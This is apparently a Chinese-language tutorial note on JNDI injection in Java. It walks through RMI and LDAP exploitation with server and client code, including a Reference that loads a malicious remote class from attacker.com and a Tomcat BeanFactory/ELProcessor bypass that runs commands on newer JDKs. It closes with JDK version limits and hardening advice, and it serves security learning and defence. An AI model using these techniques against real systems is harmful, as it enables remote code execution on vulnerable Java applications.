JNDI注入学习
字数 1299 2025-08-18 17:33:11
JNDI注入攻击原理与防御详解
1. JNDI基础概念
JNDI(Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。JNDI独立于底层实现,并指定了一个服务提供者接口(SPI),允许将目录服务实现插入到框架中。
2. JNDI注入原理
JNDI注入的核心在于当JNDI接口在初始化时(如InitialContext.lookup(URI)),如果URI参数可控,攻击者就可能利用这一特性实施攻击。
3. 通过RMI的JNDI注入
3.1 攻击流程
- 攻击者构造恶意RMI服务器
- 服务器向客户端返回一个Reference对象
- Reference对象指定从远程加载构造的恶意Factory类
- 客户端在lookup时从远程动态加载并实例化恶意Factory类
3.2 关键代码
// 服务端代码
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
// 恶意类
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
// 客户端触发
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
3.3 调用栈分析
NamingManager.getObjectFactoryFromReferenceNamingManager.getObjectInstanceRegistryContext.decodeObjectRegistryContext.lookupGenericURLContext.lookupInitialContext.lookup
3.4 关键点
Reference构造方法参数:
className- 远程加载时使用的类名factory- 需要实例化的类名factoryLocation- 提供classes数据的地址(支持file/ftp/http等协议)
4. 通过LDAP的JNDI注入
4.1 JDK < 8u191的利用
// 服务端代码
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker.com/#test")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
// 客户端触发
new InitialContext().lookup("ldap://127.0.0.1:6666/calc");
4.2 JDK >= 8u191的绕过方法
方法一:通过反序列化
利用条件:客户端存在可用的Gadgets
// 服务端添加序列化数据
e.addAttribute("javaSerializedData", GadgetsData);
方法二:加载本地类
利用存在于CLASSPATH中的类(如Tomcat中的org.apache.naming.factory.BeanFactory)
// 服务端代码
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
5. 防御机制与限制
5.1 RMI限制
JDK版本限制:
- 6u132
- 7u122
- 8u113
默认设置:
com.sun.jndi.rmi.object.trustURLCodebase = false
5.2 LDAP限制
JDK版本限制:
- 11.0.1
- 8u191
- 7u201
- 6u211
默认设置:
com.sun.jndi.ldap.object.trustURLCodebase = false
6. 防御建议
- 升级JDK到安全版本
- 避免使用外部可控的JNDI查找
- 设置系统属性限制远程代码加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 对用户输入进行严格过滤和验证